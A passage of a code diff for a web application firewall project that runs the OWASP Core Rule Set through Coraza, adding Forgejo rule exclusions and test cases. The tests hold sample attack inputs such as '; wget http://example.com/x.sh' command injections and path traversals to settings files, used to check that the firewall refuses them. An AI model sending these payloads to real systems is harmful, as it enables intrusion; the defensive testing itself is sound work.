-		cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
+	if cfg.Timeout != 150*time.Millisecond ||
+		cfg.DefaultDisposition != "deny" ||
+		cfg.MaxRequestSize != 1024 ||
+		cfg.MaxResponseSize != 0 ||
+		cfg.MaxRequestTime != 0 ||
+		cfg.MaxResponseTime != 250*time.Millisecond {
 		t.Errorf("limits %+v", cfg)
 	}
 }
@@ -114,8 +127,8 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
 		name, value string
 	}{
 		{wafBackend, ""},
-		{wafBackend, "discriminator:8080"},
-		{wafBackend, "http://discriminator:8080/path"},
+		{wafBackend, "waf:8080"},
+		{wafBackend, "http://waf:8080/path"},
 		{rproxyTimeout, "0"},
 		{rproxyTimeout, "-1"},
 		{rproxyTimeout, off},
@@ -147,7 +160,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
 		t.Run(tc.name+"="+tc.value, func(t *testing.T) {
 			t.Parallel()
 
-			_, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
+			_, err := rproxyConfig(
+				map[string]string{wafBackend: backendURL, tc.name: tc.value},
+			)
 			if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
 				t.Errorf("error %v, want one naming %s", err, tc.name)
 			}
@@ -158,7 +173,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
 func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
 	t.Parallel()
 
-	cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
+	cfg, err := rproxyConfig(
+		map[string]string{wafBackend: backendURL, rproxyTrusted: ""},
+	)
 	if err != nil {
 		t.Fatalf("settings: %v", err)
 	}
@@ -172,7 +189,8 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
 	t.Parallel()
 
 	_, err := rproxyConfig(nil)
-	if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
+	if err == nil ||
+		!strings.HasPrefix(err.Error(), wafBackend+": is required") {
 		t.Errorf("error %v, want one saying %s is required", err, wafBackend)
 	}
 }
@@ -188,7 +206,8 @@ func TestRProxyReadsNoFile(t *testing.T) {
 	}
 
 	_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
-	if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
+	if err == nil ||
+		!strings.HasPrefix(err.Error(), wafBackend+": is required") {
 		t.Errorf("error %v, want %s still required", err, wafBackend)
 	}
 

internal/coreruleset/coreruleset.go

@@ -1,6 +1,6 @@
 // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
 // method, the URL with its query and the headers of a request, and on its
-// body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
+// body while SWW_WAF_BODY_LIMIT is set, with the fifteen changes sww
 // makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
 // "Attack detection" under "Settings" in SPEC.md describes them. It reads no
 // response.
@@ -36,7 +36,7 @@ import (
 // giteaExclusions for the third, wordpressExclusions for the fourth,
 // drupalExclusions for the fifth, mediawikiExclusions for the sixth,
 // mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
-// and nextcloudExclusions for the ninth.
+// nextcloudExclusions for the ninth, and forgejoExclusions for the tenth.
 // Each rule sww adds has an id from 900000 to 900999, the ids the
 // Core Rule Set keeps for the rules that set it up, which
 // SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -102,7 +102,10 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
 # So does the thirteenth.
 %s
 
-# And the fourteenth.
+# So does the fourteenth.
+%s
+
+# And the fifteenth.
 %s
 
 # The sixth: only the rules for requests are loaded, and no response is
@@ -239,11 +242,19 @@ var vaultwardenExclusions string
 //go:embed nextcloud.conf
 var nextcloudExclusions string
 
+// forgejoExclusions are the fifteenth change: the fields of Forgejo's own
+// requests that skip the rules that refused them there, where Forgejo differs
+// from gitea, as Coraza directives.
+//
+//go:embed forgejo.conf
+var forgejoExclusions string
+
 // cookiesNotRead are the cookies the Core Rule Set reads a request
-// without, the rest of the fifth change.
+// without, the rest of the fifth change. flash is Forgejo's name for
+// gitea_flash.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
-var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
+var cookiesNotRead = []string{"gitea_flash", "flash", "redirect_to"}
 
 // Params are what New needs.
 type Params struct {
@@ -281,9 +292,11 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
 // directive that removes or changes rules as it loads, such as
 // SecRuleRemoveById. The Core Rule Set's rules load after the file, so
 // the directive finds none of them.
-var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
-	"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
-	"with a ctl exclusion")
+var errChangesNoRule = errors.New(
+	"the Core Rule Set's rules load after the file; " +
+		"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
+		"with a ctl exclusion",
+)
 
 // directivesIn returns the directives in text as Coraza reads them: it
 // skips blank lines and comment lines, and joins a line ending in \ to
@@ -327,18 +340,27 @@ func checkExclusions(exclusions string) error {
 			}
 
 			if first <= lastOwnRuleID && last >= firstOwnRuleID {
-				return fmt.Errorf("the exclusions file names %s: %w", match[0],
-					errSwwRuleID)
+				return fmt.Errorf(
+					"the exclusions file names %s: %w",
+					match[0],
+					errSwwRuleID,
+				)
 			}
 		}
 
 		// Coraza takes the directive's name up to the first space, without
 		// regard to case.
 		name, _, _ := strings.Cut(directive, " ")
-		if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
+		if lower := strings.ToLower(name); strings.HasPrefix(
+			lower,
+			"secruleremove",
+		) ||
 			strings.HasPrefix(lower, "secruleupdate") {
-			return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
-				errChangesNoRule)
+			return fmt.Errorf(
+				"%s in the exclusions file changes no rule: %w",
+				name,
+				errChangesNoRule,
+			)
 		}
 	}
 
@@ -352,7 +374,7 @@ type CoreRuleSet struct {
 	bodyLimit int64
 }
 
-// New returns the Core Rule Set with the fourteen changes, at params'
+// New returns the Core Rule Set with the fifteen changes, at params'
 // paranoia level, without the rules it switches off, reading request
 // bodies up to params' limit, and with params' exclusions file loaded
 // before the Core Rule Set's rules. An exclusions file is an error if it
@@ -382,7 +404,7 @@ func New(params Params) (*CoreRuleSet, error) {
 	text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
 		giteaExclusions, wordpressExclusions, drupalExclusions,
 		mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
-		nextcloudExclusions)
+		nextcloudExclusions, forgejoExclusions)
 
 	if len(params.DisabledRules) > 0 {
 		ids := make([]string, len(params.DisabledRules))
@@ -477,7 +499,10 @@ func (c *CoreRuleSet) Inspect(
 // readBody reads one byte past the limit, to tell which they are, gives
 // the Core Rule Set what it reads, and returns what it read and the error
 // that ended the reading early, if one did.
-func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
+func (c *CoreRuleSet) readBody(
+	tx types.Transaction,
+	body io.Reader,
+) ([]byte, error) {
 	if c.bodyLimit == 0 {
 		return nil, nil
 	}

internal/coreruleset/drupal_test.go

@@ -124,15 +124,25 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 
 			got, _ := inspectBody(t, crs, r, sent.body)
 			if got.Score < drupalThreshold {
-				t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
+				t.Errorf(
+					"POST %s %q let through: %+v",
+					sent.target,
+					sent.body,
+					got,
+				)
 			}
 		}
 	}
+}
 
-	for _, attack := range []string{
-		injection,
-		scriptTag,
-	} {
+// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of
+// TestDrupalAttacksAreRefusedInTheExcludedBodyFields.
+func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+
+	for _, attack := range []string{injection, scriptTag} {
 		for _, field := range []string{
 			`"title":"` + attack + `"`,
 			`"body":{"value":"` + attack + `"}`,
@@ -153,7 +163,11 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 			}
 		}
 
-		r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
+		r := request{
+			http.MethodPatch,
+			"/node/2?_format=json",
+			[]string{jsonBody},
+		}
 		body := `{"title":[{"value":"` + attack + `"}]}`
 
 		got, _ := inspectBody(t, crs, r, body)
@@ -198,14 +212,25 @@ func TestDrupalPasswordFieldsPass(t *testing.T) {
 	wantPasswordFieldsPass(t, []passwordFields{
 		{drupalRegister, formData, pass},
 		{"/fr/user/register", formData, pass},
-		{"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
+		{
+			"/user/1/edit",
+			formData,
+			[]string{"current_pass", pass[0], pass[1]},
+		},
 		{"/admin/people/create", formData, pass},
 		{drupalJSONRegister, jsonBody, []string{value}},
 		{drupalJSONRegister, jsonBody, []string{"pass.value"}},
-		{"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
+		{
+			"/user/1?_format=json",
+			jsonBody,
+			[]string{value, "pass.0.existing"},
+		},
 		{
 			"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
-			[]string{"data.attributes.pass.value", "data.attributes.pass.existing"},
+			[]string{
+				"data.attributes.pass.value",
+				"data.attributes.pass.existing",
+			},
 		},
 	})
 }
@@ -222,7 +247,11 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
 		`../../sites/default/settings.php`,
 	} {
 		for _, field := range []string{"name", "mail"} {
-			r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
+			r := request{
+				http.MethodPost,
+				drupalJSONPasswordReset,
+				[]string{jsonBody},
+			}
 			body := `{"` + field + `":"` + attack + `"}`
 
 			got, _ := inspectBody(t, crs, r, body)
@@ -241,12 +270,23 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
 		{"ls -la", 932250},
 		{".htaccess@example.com", 930120},
 	} {
-		r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
+		r := request{
+			http.MethodPost,
+			drupalJSONPasswordReset,
+			[]string{jsonBody},
+		}
 		body := `{"mail":"` + kept.value + `"}`
 
 		got, _ := inspectBody(t, crs, r, body)
-		if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
-			t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
+		if got.Score < drupalThreshold ||
+			!slices.Contains(got.RuleIDs, kept.rule) {
+			t.Errorf(
+				"POST %s %s: %+v, want %d among them",
+				r.target,
+				body,
+				got,
+				kept.rule,
+			)
 		}
 	}
 }
@@ -317,10 +357,35 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
 
 		got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
 		if got.Score < drupalThreshold {
-			t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
+			t.Errorf(
+				"POST %s %s let through: %+v",
+				r.target,
+				sent.field,
+				got,
+			)
 		}
 	}
 
+	// An address keeps 932250, which refuses ls -la.
+	r := request{http.MethodPost, drupalEditAccount, []string{formData}}
+
+	got, _ := inspectBody(t, crs, r, "mail=ls%20-la")
+	if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
+		t.Errorf(
+			"POST %s mail=ls%%20-la: %+v, want 932250 among them",
+			r.target,
+			got,
+		)
+	}
+}
+
+// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half
+// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
+func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+
 	for _, field := range []string{
 		`"title":"; wget http://example.com/x.sh"`,
 		`"subject":"; wget http://example.com/x.sh"`,
@@ -342,7 +407,11 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
 		}
 	}
 
-	r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
+	r := request{
+		http.MethodPatch,
+		"/node/2?_format=json",
+		[]string{jsonBody},
+	}
 	body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
 
 	got, _ := inspectBody(t, crs, r, body)
@@ -357,14 +426,6 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
 	if got.Score < drupalThreshold {
 		t.Errorf("POST %s %s let through: %+v", r.target, body, got)
 	}
-
-	// An address keeps 932250, which refuses ls -la.
-	r = request{http.MethodPost, drupalEditAccount, []string{formData}}
-
-	got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
-	if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
-		t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
-	}
 }
 
 func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
@@ -388,7 +449,13 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
 
 			got, _ := inspectBody(t, crs, r, sent.field+value)
 			if got.Score >= drupalThreshold {
-				t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
+				t.Errorf(
+					"POST %s %s%s refused: %+v",
+					sent.target,
+					sent.field,
+					value,
+					got,
+				)
 			}
 		}
 	}
@@ -407,7 +474,11 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
 			t.Errorf("POST %s %s refused: %+v", r.target, body, got)
 		}
 
-		r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
+		r = request{
+			http.MethodPost,
+			"/fr" + drupalJSONPasswordReset,
+			[]string{jsonBody},
+		}
 		body = `{"name":"` + word + `"}`
 
 		got, _ = inspectBody(t, crs, r, body)
@@ -417,7 +488,11 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
 	}
 
 	for _, address := range []string{"python3@example.com", "powershell@example.com"} {
-		r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
+		r := request{
+			http.MethodPost,
+			"/fr" + drupalJSONPasswordReset,
+			[]string{jsonBody},
+		}
 		body := `{"mail":"` + address + `"}`
 
 		got, _ := inspectBody(t, crs, r, body)
@@ -483,7 +558,11 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
 		{drupalEditAccount, "mail=python3"},
 		{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
 	} {
-		r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
+		r := request{
+			http.MethodPost,
+			sent.path + "?" + sent.field,
+			[]string{formData},
+		}
 
 		got, _ := inspectBody(t, crs, r, sent.field)
 		if got.Score < drupalThreshold {

internal/coreruleset/forgejo.conf

@@ -0,0 +1,117 @@
+# The fifteenth change: on Forgejo's paths, some fields skip the rules that
+# refused ordinary Forgejo requests there. Forgejo is a fork of gitea, and the
+# eighth change's fixes for gitea apply to its requests too, so this file holds
+# only what Forgejo sends and gitea does not. Each exclusion runs with the
+# request, before the rules it switches off, so this file is loaded before the
+# Core Rule Set's rules. Each comment names a request the rule refused.
+
+# Forgejo's search of a wiki sends the text searched for in q, which skips
+# these rules there:
+#   930120: .htaccess
+#   932120: powershell
+#   932160: /bin/sh
+#   932250: ls -la
+#   932260: python3
+SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
+    "id:900680,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932160;ARGS:q,\
+    ctl:ruleRemoveTargetById=932250;ARGS:q,\
+    ctl:ruleRemoveTargetById=932260;ARGS:q"
+
+# Forgejo's search of a repository's code at a branch or a tag sends the text
+# searched for in q. The search box on a repository's home page sends it there
+# when Forgejo has no code indexer, as by default. A branch or tag name can
+# hold a slash, as feat/docker-support does. q skips there the rules it skips
+# on gitea's search of code (900600 in gitea.conf). Among them, these refused
+# Forgejo's searches there:
+#   930120: .htaccess
+#   932120: powershell
+#   932160: /bin/sh
+#   932250: ls -la
+#   932260: python3
+# Forgejo has no owner named api, so a path under /api/ gets none of this.
+SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/search/(?:branch|tag)/.+$" \
+    "id:900681,phase:1,pass,nolog,chain"
+    SecRule REQUEST_FILENAME "!@rx ^/api/" \
+        "ctl:ruleRemoveTargetById=930110;ARGS:q,\
+        ctl:ruleRemoveTargetById=930120;ARGS:q,\
+        ctl:ruleRemoveTargetById=931100;ARGS:q,\
+        ctl:ruleRemoveTargetById=932120;ARGS:q,\
+        ctl:ruleRemoveTargetById=932130;ARGS:q,\
+        ctl:ruleRemoveTargetById=932140;ARGS:q,\
+        ctl:ruleRemoveTargetById=932160;ARGS:q,\
+        ctl:ruleRemoveTargetById=932235;ARGS:q,\
+        ctl:ruleRemoveTargetById=932250;ARGS:q,\
+        ctl:ruleRemoveTargetById=932260;ARGS:q,\
+        ctl:ruleRemoveTargetById=932380;ARGS:q,\
+        ctl:ruleRemoveTargetById=933100;ARGS:q,\
+        ctl:ruleRemoveTargetById=933130;ARGS:q,\
+        ctl:ruleRemoveTargetById=933135;ARGS:q,\
+        ctl:ruleRemoveTargetById=934100;ARGS:q,\
+        ctl:ruleRemoveTargetById=934110;ARGS:q,\
+        ctl:ruleRemoveTargetById=934130;ARGS:q,\
+        ctl:ruleRemoveTargetById=941100;ARGS:q,\
+        ctl:ruleRemoveTargetById=941110;ARGS:q,\
+        ctl:ruleRemoveTargetById=941160;ARGS:q,\
+        ctl:ruleRemoveTargetById=941180;ARGS:q,\
+        ctl:ruleRemoveTargetById=941390;ARGS:q,\
+        ctl:ruleRemoveTargetById=942100;ARGS:q,\
+        ctl:ruleRemoveTargetById=942140;ARGS:q,\
+        ctl:ruleRemoveTargetById=942190;ARGS:q,\
+        ctl:ruleRemoveTargetById=942230;ARGS:q,\
+        ctl:ruleRemoveTargetById=944100;ARGS:q,\
+        ctl:ruleRemoveTargetById=944110;ARGS:q,\
+        ctl:ruleRemoveTargetById=944130;ARGS:q"
+
+# A page opened from the results of that search has the search's address in
+# Referer, which skips these rules then, as after gitea's searches (900601 in
+# gitea.conf):
+#   941110: <script>
+#   941120: onClick={
+#   941160: <img src=
+#   942100: LIKE '%foo%'
+#   944100: java.lang.Runtime
+# A path under /api/ is left out here too.
+SecRule REQUEST_HEADERS:Referer \
+    "@rx ^https?://[^/]+/[^/]+/[^/]+/search/(?:branch|tag)/[^?]+\?" \
+    "id:900684,phase:1,pass,nolog,chain"
+    SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/" \
+        "ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
+        ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
+        ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
+        ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
+        ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
+
+# Forgejo's search of a repository's releases, on its page and in the API,
+# matches q against each release's title and tag. A tag name can hold a slash.
+# q skips these rules there:
+#   930120: .htaccess
+#   932120: powershell
+#   932160: /bin/sh
+#   932250: ls -la
+#   932260: python3
+# Forgejo has no owner named api, so /api/v1/releases is not one.
+SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/releases$" \
+    "id:900682,phase:1,pass,nolog,chain"
+    SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/releases$" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:q,\
+        ctl:ruleRemoveTargetById=932120;ARGS:q,\
+        ctl:ruleRemoveTargetById=932160;ARGS:q,\
+        ctl:ruleRemoveTargetById=932250;ARGS:q,\
+        ctl:ruleRemoveTargetById=932260;ARGS:q"
+
+# The API's search of a job's log sends the text searched for in q, which
+# skips these rules there:
+#   930120: .htaccess
+#   932120: powershell
+#   932250: ls -la
+#   932260: python3
+SecRule REQUEST_FILENAME \
+    "@rx ^/api/v1/repos/[^/]+/[^/]+/actions/jobs/[0-9]+/logs$" \
+    "id:900683,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932250;ARGS:q,\
+    ctl:ruleRemoveTargetById=932260;ARGS:q"

internal/coreruleset/forgejo_test.go

@@ -0,0 +1,115 @@
+package coreruleset_test
+
+import (
+	"net/http"
+	"slices"
+	"testing"
+)
+
+// forgejoSearches are Forgejo's searches whose q skips some rules: those of
+// a wiki, of releases and of a job's log, from the fifteenth change, and the
+// searches for a name, from the eighth. The search of code at a branch or tag
+// is not one of them: there, as on gitea's search of code, q lets these
+// attacks through.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var forgejoSearches = []string{
+	"/alice/tools/wiki/search",
+	"/alice/tools/releases",
+	"/api/v1/repos/alice/tools/releases",
+	"/api/v1/repos/alice/tools/actions/jobs/1/logs",
+	"/explore/repos",
+	"/explore/users",
+	"/alice/tools/branches",
+	"/alice/-/packages",
+	"/api/v1/packages/alice",
+	"/alice",
+}
+
+// forgejoAttacks are an SQL injection, a path traversal, a script injection
+// and a shell command after a ";", as query values.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var forgejoAttacks = []string{
+	sqlInjection, "..%2Fcustom%2Fconf%2Fapp.ini", scriptInjection, commandInjection,
+}
+
+func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
+	t.Parallel()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	defaults, bodies := atDefaults(t), readingBodies(t)
+
+	for _, path := range forgejoSearches {
+		for _, attack := range forgejoAttacks {
+			if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
+				t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
+			}
+
+			// The same field in a form data body.
+			r := request{http.MethodPost, path, []string{formData}}
+			if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
+				t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
+			}
+		}
+	}
+}
+
+func TestForgejoExclusionsAreNarrow(t *testing.T) {
+	t.Parallel()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	crs := atDefaults(t)
+
+	// /bin/sh and the hard values, which q lets through on the searches of
+	// the fifteenth change and on those of branches and packages, stay
+	// refused in q on paths near them and in another field on them.
+	// /alice/wiki/search would be the code search of a repository named
+	// wiki, where the eighth change lets q through. Forgejo has no owner
+	// named api, so the paths under /api/ here are not searches.
+	for _, target := range []string{
+		"/alice/tools/wiki/Home?q=",
+		"/alice/tools/wiki/search/x?q=",
+		"/api/wiki/search?q=",
+		"/alice/tools/wiki/search?other=",
+		"/alice/tools/search/branch?q=",
+		"/alice/tools/search/commit/0123abc?q=",
+		"/alice/tools/src/branch/main?q=",
+		"/api/tools/search/branch/main?q=",
+		"/alice/tools/search/branch/main?other=",
+		"/alice/tools/releases/tag/v1.0?q=",
+		"/alice/tools/releases/latest?q=",
+		"/api/v1/releases?q=",
+		"/alice/tools/releases?other=",
+		"/api/v1/repos/alice/tools/actions/jobs/1?q=",
+		"/api/v1/repos/alice/tools/actions/runs/1/logs?q=",
+		"/alice/tools/actions/runs/1/jobs/0/logs?q=",
+		"/api/v1/repos/alice/tools/actions/jobs/1/logs?other=",
+		"/alice/tools/branches/x?q=",
+		"/alice/-/packages/npm/x?q=",
+		"/alice/tools/branches?other=",
+	} {
+		for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
+			if got := inspect(t, crs, get(target+value)); got.Score < threshold {
+				t.Errorf("%s%s let through: %+v", target, value, got)
+			}
+		}
+	}
+
+	// Referer keeps its rules on a page opened from a path near the code
+	// search at a branch or tag.
+	for _, path := range []string{
+		"/alice/tools/search/branch",
+		"/alice/tools/search/commit/0123abc",
+		"/api/tools/search/branch/main",
+	} {
+		for _, attack := range []string{scriptTag, injection} {
+			referer := "Referer: http://example.com" + path + "?q=" + attack
+			if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
+				t.Errorf("%s let through: %+v", referer, got)
+			}
+		}
+	}
+}

internal/coreruleset/gitea.conf

@@ -102,35 +102,67 @@ SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
 # name in q, which skips these rules there:
 #   930120: .profile
 #   932120: powershell-scripts
+#   932250: ls -la
 #   932260: python3-app
 #   944130: org.apache.commons.logging
 SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
-    [^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search)$" \
+    [^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search|\
+    api/v1/packages/[^/]+)$" \
     "id:900602,phase:1,pass,nolog,\
     ctl:ruleRemoveTargetById=930120;ARGS:q,\
     ctl:ruleRemoveTargetById=932120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932250;ARGS:q,\
     ctl:ruleRemoveTargetById=932260;ARGS:q,\
     ctl:ruleRemoveTargetById=944130;ARGS:q"
 
+# A branch or package name can hold a slash, as feat/docker-support and npm's
+# @scope/name do. So q on a repository's branches page and on an owner's
+# packages page also skips this rule:
+#   932160: /bin/sh
+SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/-/packages|[^/]+/[^/]+/branches)$" \
+    "id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
+
 # gitea's other searches for a name send it in q too, which skips only these
 # rules there:
 #   930120: .profile
 #   932120: powershell-scripts
+#   932250: ls -la
 #   932260: python3-app
 # The searches:
 #   - the dashboard's filter of repositories;
-#   - the repositories on a user's or an organisation's page, whose path has
-#     one segment;
 #   - the author filter of the issue and pull request lists;
 #   - the lists of users and organisations, and the API's search for users.
-SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+|repo/search|\
+SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|\
     explore/(?:users|organizations)|api/v1/users/search|\
     [^/]+/[^/]+/(?:issues|pulls)/posters)$" \
     "id:900603,phase:1,pass,nolog,\
     ctl:ruleRemoveTargetById=930120;ARGS:q,\
     ctl:ruleRemoveTargetById=932120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932250;ARGS:q,\
     ctl:ruleRemoveTargetById=932260;ARGS:q"
 
+# The repositories on a user's or an organisation's page are searched with q
+# too. Their path has one segment, so q skips these rules on every path of one
+# segment, other apps' pages such as /index.php included:
+#   930120: .profile
+#   932120: powershell-scripts
+#   932260: python3-app
+SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \
+    "id:900604,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932260;ARGS:q"
+
+# On those pages q skips 932250 too, which refused ls -la, but only on a path
+# made of the characters a user's or an organisation's name may hold. Those are
+# letters, digits, -, _ and dots, the first a letter or digit, so
+# /login.jsp;jsessionid=abc keeps 932250. A path that ends in a server-side
+# script's extension keeps it too, such as /index.php or /search.cgi.
+SecRule REQUEST_FILENAME "@rx ^/[0-9A-Za-z][-.\w]*$" \
+    "id:900606,phase:1,pass,nolog,chain"
+    SecRule REQUEST_FILENAME "!@rx \.(?:php|phtml|php5|cgi|pl|py|asp|aspx|jsp)$" \
+        "t:lowercase,ctl:ruleRemoveTargetById=932250;ARGS:q"
+
 # These requests name a file in the path, which skips these rules there:
 #   920500: notes.txt~
 #   934100: process.env.d.ts

internal/coreruleset/mastodon_test.go

@@ -106,26 +106,58 @@ var mastodonFormFields = []mastodonBodyField{
 	{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
 	{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
 	{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
-	{http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
-	{http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
+	{
+		http.MethodPost,
+		"/admin/domain_blocks",
+		"domain_block[private_comment]=",
+	},
+	{
+		http.MethodPost,
+		"/admin/domain_blocks",
+		"domain_block[public_comment]=",
+	},
 	{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
 	{http.MethodPost, mastodonRules, "rule[text]="},
 	{http.MethodPost, mastodonRules, "rule[hint]="},
 	{http.MethodPost, "/admin/announcements", "announcement[text]="},
 	{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
-	{http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
+	{
+		http.MethodPost,
+		mastodonBranding,
+		"form_admin_settings[site_short_description]=",
+	},
 	{
 		http.MethodPost, "/admin/settings/about",
 		"form_admin_settings[site_extended_description]=",
 	},
 	{http.MethodPost, "/filters", "custom_filter[title]="},
-	{http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
-	{http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
-	{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
+	{
+		http.MethodPost,
+		"/filters",
+		"custom_filter[keywords_attributes][0][keyword]=",
+	},
+	{
+		http.MethodPost,
+		"/settings/applications",
+		"doorkeeper_application[name]=",
+	},
+	{
+		http.MethodPost,
+		"/settings/applications",
